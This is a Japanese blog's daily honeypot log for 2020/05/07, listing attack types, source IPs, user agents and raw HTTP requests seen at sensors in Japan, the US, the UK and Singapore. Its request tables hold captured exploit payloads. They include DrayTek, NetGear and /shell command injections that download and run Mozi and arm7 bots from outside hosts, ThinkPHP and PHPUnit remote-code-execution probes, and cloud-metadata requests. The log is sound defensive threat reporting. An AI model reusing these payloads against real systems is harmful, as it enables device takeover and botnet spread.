コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/05/07 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/05/07分です。

特徴
Location：JP

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
XTCによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
Gh0stRATのような動き
を確認しました。

Location：US

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
polaris botnetによるスキャン行為
Project25499 Scannerによるスキャン行為
XTCによるスキャン行為
を確認しました。

Location：UK

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
polaris botnetによるスキャン行為
Project25499 Scannerによるスキャン行為
XTCによるスキャン行為
zgrabによるスキャン行為
ZmEuによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

Location：SG

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Project25499 Scannerによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//192[.]168[.]1[.]1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
他
アクセス数推移

JP：総アクセス数：82 (前日比：+4)
US：総アクセス数：17 (前日比：-3)
UK：総アクセス数：143 (前日比：+103)
SG：総アクセス数：46 (前日比：-88)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
7 5.101.0.209 Russia
1 41.216.186.89 South Africa
17 44.224.22.196 United States
17 44.225.84.206 United States
1 45.13.93.82 Germany
8 47.110.129.37 China
1 61.219.11.153 Taiwan
9 62.210.204.185 France
1 66.240.205.34 United States
1 87.118.110.27 Germany
1 92.63.194.15 Russia
1 92.63.194.30 Russia
1 103.103.88.242 Bangladesh
1 122.116.201.162 Taiwan
1 170.239.27.174 Brazil
1 172.105.89.161 United States
2 185.234.218.36 Ireland
1 187.188.40.11 Mexico
1 189.201.243.92 Mexico
8 192.95.41.112 Canada
1 220.134.78.201 Taiwan

UserAgent一覧

件数 UserAgent
31 -
14 AWS Security Scanner
1 Go-http-client/1.1
1 Mozilla/5.0
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
1 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
1 Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
1 XTC
1 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
5 -
1 Gh0st\xad
3 \x03
10 \x16\x03\x01
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
3 CONNECT checkip[.]amazonaws[.]com/:443 HTTP/1.1
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /0bef HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /PSIA/index HTTP/1.1
1 GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bls%20%23&password=asdf HTTP/1.1
2 GET /cgi-bin/test-cgi HTTP/1.1
2 GET /console HTTP/1.1
2 GET /horde/imp/test.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
2 GET /login.action HTTP/1.1
2 GET /login/do_login HTTP/1.1
2 GET /login?from=0.000000 HTTP/1.1
2 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
2 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/ HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
1 GET http[:]//169[.]254[.]169[.]254/latest/meta-data/ HTTP/1.1
3 GET http[:]//checkip[.]amazonaws[.]com/ HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /boaform/admin/formPing HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /onvif/device_service HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.101.64.77 Russia
1 41.216.186.89 South Africa
1 45.13.93.82 Germany
1 91.234.62.28 Russia
1 92.63.194.15 Russia
1 94.20.64.42 Azerbaijan
1 137.27.65.30 United States
2 159.65.121.162 United States
1 162.243.136.126 United States
1 173.68.147.70 United States
4 185.142.236.34 Netherlands
1 195.9.218.58 Russia
1 213.14.32.42 Turkey

UserAgent一覧

件数 UserAgent
8 -
1 Go-http-client/1.1
1 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)
1 XTC
3 polaris botnet
1 python-requests/2.19.1

リクエスト内容一覧

件数 Method Request Protocol
3 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
3 POST /boaform/admin/formPing HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 41.216.186.89 South Africa
1 45.13.93.82 Germany
1 45.13.93.90 Germany
1 45.136.108.20 Germany
2 83.110.241.123 United Arab Emirates
1 85.21.3.98 Russia
1 92.63.194.15 Russia
1 92.63.194.30 Russia
1 95.213.177.123 Russia
2 95.213.177.124 Russia
1 95.213.177.125 Russia
1 95.213.177.126 Russia
1 109.187.208.170 Russia
12 110.52.140.106 China
1 114.113.112.92 China
8 123.161.74.93 China
1 125.64.94.211 China
1 154.8.158.55 China
2 159.65.121.162 United States
1 162.243.144.106 United States
101 211.23.45.31 Taiwan
1 220.189.199.83 China

UserAgent一覧

件数 UserAgent
5 -
2 Go-http-client/1.1
5 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
3 Mozilla/5.0
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
1 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)
2 XTC
12 ZmEu
1 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
4 \x03
1 \x16\x03\x01
2 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
2 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bls%20%23&password=asdf HTTP/1.1
1 GET /cgi-bin/test-cgi HTTP/1.1
1 GET /console HTTP/1.1
1 GET /horde/imp/test.php HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /login/do_login HTTP/1.1
1 GET /login?from=0.000000 HTTP/1.1
1 GET /manager/html HTTP/1.1
2 GET /myadmin/scripts/setup.php HTTP/1.1
3 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
3 GET /phpmyadmin/scripts/setup.php HTTP/1.1
2 GET /pma/scripts/setup.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
2 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 POST /boaform/admin/formPing HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /goform/webLogin HTTP/1.1
1 POST http[:]//check[.]proxyradar[.]com/azenv.php?auth=158871650517&a=PSCMN&i=2224112162&p=80 HTTP/1.1
1 POST http[:]//check[.]proxyradar[.]com/azenv.php?auth=158873254521&a=PSCMN&i=2224112162&p=80 HTTP/1.1
1 POST http[:]//check[.]proxyradar[.]com/azenv.php?auth=158874901123&a=PSCMN&i=2224112162&p=80 HTTP/1.1
1 POST http[:]//check[.]proxyradar[.]com/azenv.php?auth=158876572655&a=PSCMN&i=2224112162&p=80 HTTP/1.1
1 POST http[:]//check[.]proxyradar[.]com/azenv.php?auth=158878206527&a=PSCMN&i=2224112162&p=80 HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
7 5.101.0.209 Russia
8 35.208.6.125 United States
1 41.216.186.89 South Africa
1 45.13.93.82 Germany
1 45.136.108.20 Germany
1 58.45.9.203 China
1 75.148.156.244 United States
1 92.63.194.15 Russia
1 116.114.95.218 China
10 121.201.34.11 China
2 159.65.121.162 United States
8 159.65.246.210 United States
1 162.243.143.112 United States
1 172.105.89.161 United States
1 175.5.90.198 China
1 179.49.60.210 Ecuador

UserAgent一覧

件数 UserAgent
5 -
2 Go-http-client/1.1
2 Hello, World
1 Hello, world
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
1 Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 zgrab/0.x
2 Project25499 Scanner (opt-out@project25499.com)

リクエスト内容一覧

件数 Method Request Protocol
3 \x03
1 CONNECT ip[.]ws[.]126[.]net:443 HTTP/1.1
1 GET /0bef HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
2 GET /cgi-bin/test-cgi HTTP/1.1
2 GET /console HTTP/1.1
1 GET /elrekt.php HTTP/1.1
2 GET /horde/imp/test.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
2 GET /login.action HTTP/1.1
2 GET /login/do_login HTTP/1.1
2 GET /login?from=0.000000 HTTP/1.1
2 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
2 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stager32 HTTP/1.1
1 GET /stager64 HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1